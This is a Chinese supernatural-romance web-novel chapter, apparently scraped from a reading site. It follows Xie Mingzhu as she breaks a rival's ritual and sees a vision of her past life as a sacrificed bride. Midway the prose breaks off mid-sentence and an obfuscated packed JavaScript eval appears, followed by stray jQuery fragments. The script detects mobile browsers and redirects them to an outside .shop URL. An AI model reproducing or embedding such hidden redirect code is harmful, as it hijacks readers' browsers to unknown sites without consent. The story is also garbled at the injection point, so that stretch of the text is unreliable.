木牌裂成两半的声音，在新娘房里响得很脆。
“今晚，我不死。”
谢明烛说完这句话，满院子的红灯都静了一瞬。
没有风。
没有锣。
连那些躲在门外看热闹的村民，都像被人掐住喉咙，半点声音也发不出来。
地上那块牌位裂开后，断口处竟然没有木屑，只有一层细细的香灰往外渗。灰落到青砖上，慢慢洇开，像一摊烧冷的骨灰。
秦班主的脸色难看到了极点。
他盯着那两截牌位，嘴唇动了动，像想念什么咒词，可刚一开口，喉咙里便涌出一阵破锣似的咳声。
第一夜被裂开的傩面伤了嗓子，第二夜又被谢明烛当众破了净宅局。
他再稳，也终于露出一点狼狈。
谢明烛看着他，忽然问：“秦班主，这牌位谁立的？”
秦班主眼神一沉。
“新娘房里的东西，自然是祖上传下来的。”
“是吗？”
谢明烛弯腰，捡起其中半截牌位。
牌位正面写着：谢明烛之位。
背面却有一道极细的刻痕，被香灰盖着，若不仔细看，根本看不出来。
她用指腹轻轻扫开。
灰下露出三个小字。
秦兆年。
院里有人低低吸了口气。
秦班主脸色骤变。
秦兆年，就是他的名字。
谢明烛拿着半截牌位，抬眼看他：“祖上传下来的东西，怎么刻了你的名？”
秦班主的眼神终于冷下来。
“谢小姐，太聪明的人，往往活不长。”
谢明烛笑了一下。
“这话你一开始就该说。”
她把牌位翻过来，指尖点在“秦兆年”三个字上。
“净宅夜，旧物替人受。既然这牌位是你立的，那它碎了，应该找谁？”
秦班主脸色一变，猛地后退。
已经晚了。
地上那些香灰忽然卷起来，像一只看不见的手，顺着青砖缝隙爬向他。
秦班主转身要退，脚下却不知何时多了一圈白灰。
正好把他圈在中间。
他低头，看见那圈灰时，眼底终于浮出恐惧。
“闻烬生！”他厉声道，“第二夜规矩已乱，你还不收场！”
闻烬生站在谢明烛身后，黑衣浸在红灯里，脖颈上的血痕尚未干透。
他连眼皮都没有抬一下。
“你立的牌位，找我做什么。”
秦班主怒道：“你是祭司！”
“祭司送嫁。”闻烬生冷声说，“不送丧。”
谢明烛听到这句，偏头看了他一眼。
闻烬生也看她。
他方才那一句说得冷，眼底却仍有未褪尽的血色。像这两个字——送嫁——每被提一次，便在他身上剜一次旧伤。
谢明烛没有追问。
现在不是问旧账的时候。
她将那半截牌位往火盆里一扔。
火苗猛地蹿高。
火光里，牌位没有立刻烧成灰，反而发出细小的哭声。
哭声很稚嫩。
像一个小女孩被关在屋里，拍着门喊：“放我出去。”
院里众人脸色发白。
谢怀远往后退了半步。
谢含烟死死捂住嘴，连哭都不敢哭了。
这一次，谢明烛没有看他们。
她看着火盆。
火苗烧过牌位背面的“秦兆年”，秦班主脚下那圈香灰忽然收紧。他闷哼一声，膝盖一弯，险些跪下。
他的影子被红灯拉长，投在新娘房的门槛上。
可那影子不是他。
是一个穿红嫁衣的女人。
女人的影子跪在地上，双手反绑，头垂着，像等人送她上轿。
秦班主脸上的血色彻底褪尽。
谢明烛问：“怎么，秦班主也要做一回新娘？”
秦班主死死盯着她。
“你以为破了第二夜，就赢了？”
谢明烛道：“没赢。”
她慢慢走到他面前。
“但你怕了。”
秦班主额角青筋跳了跳。
谢明烛声音很轻：“怕就对了。”
“我回山以后，你们人人都拿规矩压我。现在轮到规矩找上你们，怎么就怕了？”
这句话落下，火盆里的牌位彻底烧断。
秦班主脚下的香灰圈应声裂开。
他踉跄一步，扶住旁边的柱子，才没有当众跪下。可他的影子还跪着，贴在地上，一动不动。
院中没人敢扶他。
谢明烛回身看向那间新娘房。
房里的铜镜还亮着。
镜中那个穿红嫁衣的女人没有消失。她坐在镜子深处，安安静静看着谢明烛，像等她进来。
闻烬生低声道：“别再往里走了。”
谢明烛看向他：“里面还有东西？”
“有。”
“是什么？”
闻烬生沉默。
谢明烛点了点头：“不能说？”
闻烬生声音很哑：“不是不能说。”
“那是什么？”
他看着她。
“是不想让你再看一遍。”
谢明烛握紧掌心。
她的指腹还残留着红线烧过的痛，火辣辣的，像这座山给她盖下的印。可她越疼，反而越清醒。
“闻烬生。”她说，“你知道我最讨厌什么吗？”
闻烬生没答。
“我讨厌别人打着为我好的名义，替我决定什么该看，什么不该看。”
这句话一出口，闻烬生眼底像被什么刺了一下。
谢明烛越过他，重新走进新娘房。
这一次，闻烬生没有拦。
只是跟了进去。
房门在他们身后无声合拢。
外面的红灯、村民、谢家人、秦班主，都被隔绝在门外。
新娘房里只剩一盏青灯。
青灯照着铜镜，也照着满墙被刮洗过又重新浮出的名字。
谢明烛站在屋中央。
镜中的红衣女人也站了起来。
她和谢明烛生得一模一样，只是眼神更旧，眉眼间没有活人的温度。红盖头披在肩上，腕间缠着断裂的红绳。
她开口时，声音却很轻。
“你终于肯进来了。”
谢明烛问：“你是谁？”
镜中女人笑了。
“你。”
“第几个我？”
“第一个。”
谢明烛看着她：“谢氏明烛？”
镜中女人轻轻点头。
屋里青灯一晃。
四周景象骤然变了。
墙上新刷的白灰一层层剥落，红帐重新鲜亮起来，铜镜旁的嫁衣架上挂满沉重的金线嫁服。窗外响起雨声，锣鼓声隔着很远传来。
谢明烛知道，这不是现在。
这是百年前。
她没有动。
闻烬生站在她身侧，脸色却白得近乎透明。
谢明烛偏头看他：“你也能看见？”
闻烬生喉结滚了滚。
“我一直看得见。”
一直。
这个词太重。
谢明烛没有再问。
房门外传来脚步声。
下一刻，两个妇人押着一个少女进来。
少女被红绳绑着手腕，嘴唇发白，发上已经戴了半副嫁冠。她被推到镜前，抬起脸的一瞬间，谢明烛看见了自己。
不是现在的她。
是十七八岁的谢氏明烛。
她也漂亮。
却不是供人观赏的漂亮。
她眼里有火，哪怕被绑着，背脊也挺得笔直。
一个中年男人站在门口，低声哄她：“明烛，别怪爹。等山里平安了，爹就接你回来。”
谢明烛眼神一冷。
又是这句。
百年过去，谢家的男人连哄女儿去死的话都不曾换过。
少女明烛忽然笑了。
“接我回来？”
“接我的尸骨吗？”
男人脸色一变：“你怎么说话的！”
少女明烛看着他，声音不高，却字字清楚：“谢怀仁，你们不是为了平安。”
“你们是为了那三十亩田，为了盐道的生意，为了族里男丁能进城读书。”
“你们献的不是女，是遮羞布。”
门外有人怒喝：“堵住她的嘴！”
一个妇人上前要捂她。
少女明烛猛地偏头，一口咬在那人手腕上。
妇人惨叫。
屋里一片混乱。
谢明烛站在旁边，看着这一幕，忽然明白了。
第一世的她不是懵懂赴死的祭品。
她知道。
她什么都知道。
她知道谢家用献祭换富贵，知道所谓山神娶亲不过是男人写出来的谎，甚至知道这场祭戏从一开始就被篡改过。
所以她才必须死。
不是因为她命格合适。
而是因为她看见了真相。
房门忽然被人从外面撞开。
雨水卷进来。
少年闻烬生冲进屋里。
他看起来不过十七八岁，黑发束得很高，脸上还有没褪尽的少年气。可他手里握着刀，刀尖在滴血，眼神亮得吓人。
“阿烛！”
少女明烛回头。
看见他的那一瞬，她眼里的火忽然晃了一下。
不是软弱。
是终于有人来了。
少年闻烬生三步并作两步冲到她面前，一刀割断她腕上的红绳。
“跟我走。”
少女明烛却没有立刻动。
“你杀了外面的人？”
“拦路的。”
“你会死。”
“那就死。”
少年说得太快，太狠，像根本没想过第二个答案。
少女明烛看着他，忽然低声道：“闻烬生，你现在逃，还来得及。”
少年闻烬生怒道：“我不是来听你说这个的。”
他拉住她的手，转身要走。
可刚踏出一步，少女明烛腕间那根断掉的红绳忽然重新长出来。
红绳不是从外面缠上的。
是从她皮肉里钻出来的。
她闷哼一声，整个人往前一倒。
少年闻烬生立刻抱住她。
“阿烛！”
少女明烛脸色白得可怕，唇边一点点渗出血。
她低头看自己的手腕，忽然明白了。
“来不及了。”
少年闻烬生眼睛发红：“什么来不及？”
“他们已经把我的名字写进神簿了。”
她轻声说。
“我出不了山。”
少年闻烬生咬牙：“那就烧了神簿。”
少女明烛摇头：“神簿在山神庙里。”
少年闻烬生一顿。
她看着他：“只有送嫁祭司能进去。”
雨声忽然变大。
谢明烛站在旁边，心口也跟着一沉。
原来如此。
不是闻烬生一开始就是送嫁人。
是他要进山神庙，要找到神簿，要把她从已经写好的死局里抢出来。
他必须成为送嫁祭司。
少年闻烬生显然也明白了。
他看着少女明烛，脸上第一次露出一种近乎崩溃的神情。
“不行。”
“我不会送你上轿。”
少女明烛抬手，沾着血的指尖摸上他的脸。
“不是送我去死。”
她说。
“是送我去把我的名字抢回来。”
少年闻烬生声音发抖：“万一抢不回来呢？”
少女明烛笑了一下。
那笑和现在的谢明烛很像。
冷，亮，锋利。
“那你就记住。”
“不是山神杀我。”
“是他们。”
她把一枚小小的铜铃塞进少年闻烬生手里。
谢明烛认出来了。
就是闻烬生刚才给她的那枚无舌铜铃。
少女明烛说：“如果我回不来，就把我变成他们最怕的东西。”
少年闻烬生眼眶通红：“我不要。”
“闻烬生。”
少女明烛第一次叫他的全名。
“别做善人了。”
“替我活成他们最怕的东西。”
屋里骤然一静。
谢明烛心口像被狠狠撞了一下。
她想起他们之前定下的那句设定。
百年前，她死前把血滴进他的眼里，对他说：别做善人了，替我活成他们最怕的东西。
原来不是传说。
是真的。
下一瞬，画面又变。
少女明烛重新坐回镜前。
少年闻烬生站在她身后，手指发抖，却还是替她戴上了完整的嫁冠。
那嫁冠很重，金线垂下来，遮住少女明烛苍白的脸。
少年闻烬生替她系最后一根红绳时，忽然低下头，额头抵在她肩上。
“阿烛。”
“嗯。”
“我一定带你回来。”
少女明烛看着镜中的他。
许久，她轻声说：“你若带不回来，就不要来找我了。”
少年闻烬生猛地抬头。
她笑了笑。
“因为我会自己回来。”
画面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702971|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到这里，忽然像被人撕开。
锣鼓声大作。
红轿停在雨里。
少年闻烬生穿上祭司黑袍，亲手扶着少女明烛上轿。
台阶下是谢家人，是傩戏班，是跪了一地的村民。
所有人都说：
“新娘归神。”
“山神赐福。”
少年闻烬生握着轿帘的手指满是血。
他没有回头。
因为少女明烛在轿子里对他说：
“闻烬生，别回头。”
画面彻底碎了。
谢明烛猛地回过神。
新娘房还是那间新娘房。
铜镜里的红衣女人已经不见了，只有镜面上一道细细的裂痕，从上至下，像一条被劈开的命线。
屋里安静极了。
闻烬生站在她身边，脸色苍白，眼尾却红得厉害。
谢明烛看着他。
“所以你不是送我去死。”
闻烬生没说话。
“你是想跟我一起进山神庙。”
他仍然沉默。
谢明烛往前一步。
“然后呢？”
闻烬生的唇动了动。
这一次，没有红线勒住他的喉咙。
可他说话时，声音比被勒住时还要哑。
“然后我失败了。”
很简单的几个字。
却像他用百年时间才终于说出口。
谢明烛看着他。
闻烬生的手垂在身侧，指骨绷得很紧。
他没有替自己解释更多。
没有说他杀了多少人，没有说他后来付了什么代价，也没有说这百年里他是怎么一世一世看着她回来、又一世一世失去她。
他只说，他失败了。
谢明烛忽然明白，为什么族谱上会写他是送嫁祭司。
因为他确实送了。
哪怕初衷是救她。
结果也是她死了。
这就是闻烬生身上最痛的地方。
他不是清白的。
可他也不是加害者。
他是那个把刀插进自己身上、还得背着罪名活下去的人。
谢明烛问：“你后来为什么会变成守山人？”
闻烬生看向铜镜。
“我没能带你出来。”
“所以你就留下了？”
“不是。”
他低声说：“是你不让我死。”
谢明烛一怔。
闻烬生看着她，眼底像有一场百年前的雨还没停。
“你死前，把血滴进了我的眼睛。”
“从那以后，我看得见每一个被献祭的人，也听得见每一夜傩戏。”
“我不能离山。”
“不能老。”
“不能死。”
“也不能提前说出完整的真相。”
他说到这里，顿了一下。
“因为这是你留给我的咒。”
谢明烛慢慢皱眉。
“我留的？”
闻烬生点头。
“你让我活成他们最怕的东西。”
“我做到了。”
他看着她，声音很轻。
“可我没想到，这东西要活这么久。”
谢明烛心口忽然发紧。
这句话比任何表白都重。
他没有说爱她。
可他用百年活成了一道不死的诅咒。
守着她没能回来的路。
也守着那些杀她的人。
谢明烛沉默很久，才说：“闻烬生。”
他抬眼。
“我现在还不能原谅你。”
闻烬生眼底没有意外。
他像早就知道她会这样说，甚至像终于等到她亲口审判他。
“好。”
谢明烛说：“但我也不会只听死人和族谱给你定罪。”
闻烬生看着她。
“我要自己查清楚。”
她声音很稳。
“如果你欠我，我会讨。”
“如果他们欠你，我也会讨。”
闻烬生眼底终于有一点东西碎开。
那不是轻松。
更像在黑暗里站了太久的人，忽然看见一盏灯。
他低声道：“好。”
就在这时，新娘房外忽然传来一阵急促的敲门声。
不。
不是人敲门。
是锣鼓。
咚。
咚。
咚。
三声锣响之后，外面响起秦班主嘶哑的唱腔。
他的声音像被撕烂，又被强行缝起来。
“第二夜净宅失——”
“旧名归身——”
“第三夜，请愿开——”
谢明烛回头。
门缝下，有一张红纸被慢慢塞进来。
红纸像请帖。
她弯腰捡起。
上面写着：
第三夜，请新娘入山神庙，许一愿。
谢明烛看着那行字，忽然笑了。
“许愿？”
闻烬生脸色却骤然沉下去。
“不是让你许愿。”
“那是什么？”
闻烬生低声道：“是让所有人向你许愿。”
谢明烛抬眼。
闻烬生看着那张红纸，眼底冷意一点点重下去。
“第三夜，请愿。”
“他们会把所有人的贪欲、病痛、债、命数，全都摆到你面前。”
“只要你答应一个愿望，就要拿自己的一部分去还。”
谢明烛看着那张红纸。
纸面朱砂鲜红，像刚写好的血。
她问：“如果我一个都不答应呢？”
闻烬生还没说话，门外忽然传来很多声音。
老人咳嗽。
小孩哭。
女人哀求。
男人低声祷告。
那些声音一层一层叠起来，最后变成同一句话。
“求新娘垂怜。”
“求新娘救命。”
“求新娘成全。”
红纸上的字也慢慢变了。
原本的“许一愿”，变成了另一行。
若不应愿，百鬼噬心。
谢明烛盯着那行字看了片刻。
然后，她把红纸慢慢折起来，放进袖中。
闻烬生看着她：“你想做什么？”
谢明烛抬眼。
新娘房里的青灯映着她的脸，白而冷，像一柄刚从鞘里抽出的刀。
“他们不是想请愿吗？”
她说。
“那就让他们请。”
她唇边浮起一点笑。
“我也想看看，这座山里的人，到底有多少愿望，是用别人的命许出来的。”